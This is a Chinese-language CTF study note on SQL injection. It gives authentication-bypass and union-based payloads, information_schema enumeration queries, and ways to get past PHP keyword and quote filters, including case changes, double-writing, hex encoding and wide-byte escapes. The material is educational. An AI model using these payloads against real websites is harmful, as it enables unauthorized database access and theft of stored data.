CTF-WEB
1.SQL注入
1.简单介绍
-
简单的注入演示
select * from admin where username='用户输入' and passworld='用户输入'
-
万能密码
select * from admin where username=''and passworld='1'or1
-
使用Brupsite:
- 空格要用+替代
-
-
注入类型分类:
- 数字注入
- 字符型注入
-
注入利用方式:
- 获取数据库信息(脱裤)
- 获取系统命令执行shell
- 上传,下载服务器文件(Webshell)等
-
注入利用技术:
- 联合查询
- 布尔盲注
- 延时盲注
- 报错注入
2.联合注入
-
联合查询基本用法
1 联合查询
数据库提供联合查询,使得两条SQL查询语句的结果进行连接。注意,两者的字段数必须保持一致 select *form tp_user where id= 1 union select 1,2,database(),4,5;
判断联合查询语句的字段数时,可以使用order by number.当依次增大number时,如果出现错误,那么上一条SQL查询语句的结果字段数就为number-1
从图中我们可以看出字段数为6
2.查询数据库,版本号,用户信息
select * from tp_user where id=1 union select 1,2,3,database(),version(),user();
3.查询数据表名
select * from tp_user where id=1 union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1),4,5; -- 利用group_concat 讲所有数据表名连接到一起 select * from tp_user where id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5;
-
information_scheme数据库:
默认生成的数据库,该数据库保存了SQL所有的数据库信息
information_schema中的重要表及表中的重要字段
-
SCHEMATA:
提供了当前mysql所有数据库的信息,是show databases 的结果
Schema_name:数据库名称
Default_Character_Set_Name:默认字符编码
-
TABLES
提供了当前数据库表的信息(包括视图),描述了某表属于某schema,是 show tables from schemaname的结果。
TABLES_SCHEMA:表所属数据库名称
TABLES_NAME:表名称
-
COLUMNS:
提供了当前列的相关信息。
TABLE_SCHEMA:某列所属数据库
TABLE_NAME:某列所属表
COLUMN_NAME:某列列名
-
-
limit number,number
--从0开始查询1个字段 limit 0,1
4.查询字段名
select * from tp_user where id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='tp_user'),4,5; -- 当单引号被屏蔽时,可以采用十六进制的方式 select * from tp_user where id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x74705f75736572),4,5;
5.联合查询查询数据
select * from tp_user where id=1 union select 1,2,(select concat(id,0x5c,name) from person limit 0,1),4,5; -- 查询所有的 select * from tp_user where id=1 union select 1,2,concat(id,0x5c,name),4,5 from person;
6. 联合注入类型分析-
字符型
字符型可以使用
#
,--+
以及or '1
来闭合或者注释引号 -
数字型
-
联合注入过滤绕过技巧
-
PHP常见过滤函数
-
str_replace
对字符串进行替换
str_replace(find,replace,string,count)
参数 描述 find 必需。规定要查找的值 replace 必需。规定替换find中的值的值 string 必需。规定被搜索的字符串。 count 酷炫对替换数进行计数的变量 在PHP 5.0 的版本新增了count。在PHP4.3之前,该函数的find和replace参数都为数组时讲会遇到麻烦
例子:
<?php $arr=array("union","sleeep"); $sql="select * from admin where union id =1"; print_r(str_replace($arr,"",$sql,$i)); echo "<br>"; echo $i; ?>
显示
-
preg_replace
对字符串进行替换
preg_replace(正则表达式,replace,string)
例子:
$sql=preg_replace('/union|sleep/','',$sql);
-
正常情况下
preg_replace
可以通过大小写进行绕过,但是当模式分割符后面出现标记i
是则不能绕过if(preg_replace('/union|sleep/i',$sql)){ echo "no,no,no"; exit(); }else{ echo $sql; }
-
preg_match
对字符串进行匹配,存在则为正
preg_match(正则表达式,字符串)
例子:
if(preg_match('/union|sleep/',$sql)){ echo "no,no,no"; exit(); }else{ echo $sql; }
-
-
绕过技巧
-
大小写绕过
对于
str_replace
和preg_replace
可以通过大小写进行绕过例如:union替换为Union
-
双写绕过
原理:在使用
preg_replace
函数过程中,默认情况下只进行一次匹配。因此如果匹配到字符串替换为空的情况,就可以双写绕过例子
$sql= preg_replace('/union|sleep/i','',$sql);
以上代码,可以使用i表示到小写全部匹配,此时无法使用双写绕过。但是由于
preg_replace
默认只匹配一次过滤字符,因此可以使用双写绕过例如:union替换为uniunionon
preg_math会将中间的union进行过滤
-
过滤单引号绕过 十六进制
基础:在Mysql数据库中的SQL语句,对于字符串数据必须使用引号。但是对于字符串来说,mysql也识别字符串中每个字符对应地ASCLL码地16进制,此时可以使用0x16进制替换字符串。从而绕过引号对于字符串地限制
addslashes() //该函数返回在预定义字符之前添加反斜杠地字符串。
预定义字符:
单引号(')
双引号(")
反斜杠(\)
NULL
该函数可用于为储存在数据库中地字符串以及数据库查询语句准备字符串。
或者在 php.ini配置文件中,开启 magic_quotes_gpc选项,此时对于数字型注入来说,如果需要进行数据库中数据获取,需要使用十六进制进行绕过。但是对于字符型注入来说,就需要进行逃逸引号的操作。
-
宽字节注入原理与利用
基础:如果数据库中存储数据使用的编码方式是GBK,那么由于用户输入的内容会进行双字节的组合,会导致用户输入的字节与反斜杠组合,从而逃逸引号。
宽字节注入可以说是一种逃逸引号的技巧,利用双字节组合导致注入产生。
主要有一种情况下是无法使用联合查询注入利用方式:
preg_math('/union/i')
,完全过滤 -
-
-
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· 字符编码:从基础到乱码解决
· SpringCloud带你走进微服务的世界